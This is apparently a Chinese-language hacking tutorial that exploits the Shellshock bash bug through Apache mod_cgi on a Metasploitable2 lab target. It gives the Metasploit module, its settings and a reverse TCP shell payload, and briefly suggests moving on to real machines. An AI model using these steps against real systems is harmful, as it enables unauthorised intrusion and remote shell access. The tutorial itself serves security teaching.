导语:过去5年中出现的最严重的漏洞之一就是shellshock漏洞,此漏洞允许攻击者通过Unix bash shell远程执行任意代码。此漏洞出现有一段时间了,不过由于连接到web的Unix主机普遍存在,所以这个漏洞还是有很大威胁的,尤其是那些没有打补丁的系
过去5年中出现的最严重的漏洞之一就是shellshock漏洞,此漏洞允许攻击者通过Unix bash shell远程执行任意代码。此漏洞出现有一段时间了,不过由于连接到web的Unix主机普遍存在,所以这个漏洞还是有很大威胁的,尤其是那些没有打补丁的系统。
shellshock工作原理
shellshock首次出现于2014年9月。在漏洞首次披露的几小时内,就有报道发生了攻击,并且在接下来的几天内,有数百万次的攻击和探测来自僵尸网络。
bash是一个shell,或者叫解释器,允许在系统上执行命令。bash是Unix系统中的默认shell,因此Linux,macOS和其他的类Unix系统上都有bash。所以shellshock漏洞才会如此严重,网上一半的web服务器都是运行的Unix系统,更不用说无数的IOT设备甚至是一些路由器。
从本质上讲,shellshock的原理是允许攻击者将命令附加到环境变量值中的函数定义中。这被归为代码注入攻击,由于Bash会处理函数定义后的命令,因此几乎可以执行任意代码。
实际上shellshock是由多个攻击向量组成的整个漏洞系列。本文我们将利用CGI脚本这个攻击向量,具体的说就是Apache HTTP服务器中的mod_cgi模块。
Apache&CGI如何利用
Apache是由Apache软件基金会开发的跨平台开源的web服务器。Apache有很多强大的功能,比如虚拟主机,身份认证方案,SSL和TLS,自定义错误消息,而且支持多种编程语言。Apache还有一个mod_cgi模块,专门用来处理CGI脚本的执行。
CGI是一种协议,旨在允许web服务器直接执行服务器中类似控制台程序,这些程序也就是CGI脚本,通常用来处理来自动态网页的数据并通过HTTP进行交互。
必须指定一个新目录,通常是cgi-bin或者类似的名字,以使CGI脚本能够运行。当浏览器请求CGI目录中包含的特定文件的URL时,服务器运行该脚本,并将输出传递回浏览器。
运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。幸运的是,Rapid7团队开发了一个metasploit模块,可以非常容易的利用shellshock漏洞。
干货分享:使用Auxiliary模块攻击shellshock漏洞
本次实战环境
metasploitable2是一个非常不错的靶机,内置了多种漏洞来练习你的黑客技术。我将在独立网络环境中使用kali来攻击它,建议你也跟我一样,确保在第一次尝试攻击时结果跟我一样,等你技术娴熟之后便可以去渗透真实的机器了。
第一步:配置靶机
要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。一个简单的输出“hello world”脚本即可,因为仅仅是作为演示。进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:
sudo nano hello.sh
输入正确的密码,然后对hello.sh脚本进行编辑
#! /bin/bash echo "Content-type: text/html" echo "" echo "Hello world!"
保存好后,赋予脚本可执行权限,使用chmod命令:
sudo chmod 755 hello.sh
我们来验证一下,通过浏览器访问该脚本,可以看到已经成功执行。
第二步:准备攻击
在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。
我们可以使用search命令来搜索exploits。输入shellshock,就能找到apache_mod_cgi_bash_env_exec模块,复制模块路径
现在可以看到一个更长的命令提示符,显示模块已加载。
输入options来查看模块的各种设置:
大部分配置保持默认即可,我们只需要设置远程IP地址rhost和文件路径targeturi,如下所示:
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhost 172.16.1.102 rhost => 172.16.1.102 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello.sh targeturi => /cgi-bin/hello.sh msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
然后我们需要选择一个payload。输入show options来查看不同的payloads和对应的payload信息。
这里我们选择一个反向TCP shell就可以了,所以我们输入
set payload linux / x86 / shell / reverse_tcp来启用模块
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp
再次输入options,我们可以看到模块的当前设置包括payload信息。
第三步 getshell
一些metasploit模块有一个非常便利的小功能,就是检测靶机是否存在漏洞,输入check即可,这会将靶机是否存在漏洞的信息显示出来。
我们可以看到,靶机确实是存在漏洞的,现在我们输入exploit来发起攻击。很快我们就获得了一个shell会话,我们可以在会话中输入命令,比如id或者whoami来查看当前用户的信息了。
如何防御shellshock漏洞
答案很简单:打补丁即可。如果你的系统没有打补丁而遭到攻击,那就活该了。该漏洞存在多年,而且所有系统多有相应的补丁,所以还没有打补丁的一定要记得安装补丁确保安全。
敬请期待权限提升
到目前为止,我们讲解了shellshock和CGI攻击向量,使用metasploit模块利用此漏洞并且获得了靶机的shell。但是这个shell是有限制的,权限低,能做的事情很少。下一篇文章,我们将使用内核exp来提权并获取root权限。